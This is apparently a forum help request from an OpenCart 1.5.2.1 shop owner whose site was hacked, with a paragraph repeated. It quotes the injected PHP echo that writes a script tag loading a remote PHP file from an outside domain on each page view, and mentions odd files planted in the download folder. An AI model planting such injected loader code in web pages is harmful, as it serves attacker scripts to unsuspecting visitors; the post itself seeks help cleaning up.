My opencart was hacked!
Posted: Mon Aug 05, 2013 4:45 pm
Hi guys, just noticed today a strange error on my site, when I view source and looked inside index.php I noticed the following code has been added to a few files on my site:
I also noticed a few strange files in the download folder one was called aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.jpg and others had random filenames.
I've disabled my site for now, and deleted this code from every file I can find it in, but it still seems to be present in the source. Searching this forum finds me threads regarding the files in the download folder but no other solutions for the javascript that has been injected into the source. Any help is greatly appreciated.
My version of Opencart is 1.5.2.1
Code: Select all
echo " <script type=\"text/javascript\" language=\"javascript\" > function srcc() { var mk = document.createElement('script'); mk.src = 'http://www.photographybylouisedavies.co.uk/YbTVjBRr.php'; if (!document.getElementById('mk')) { document.write('<div id=\'mk\'></div>'); document.getElementById('mk').appendChild(mk); }}srcc();</script>";
#/d0186f#
I've disabled my site for now, and deleted this code from every file I can find it in, but it still seems to be present in the source. Searching this forum finds me threads regarding the files in the download folder but no other solutions for the javascript that has been injected into the source. Any help is greatly appreciated.
My version of Opencart is 1.5.2.1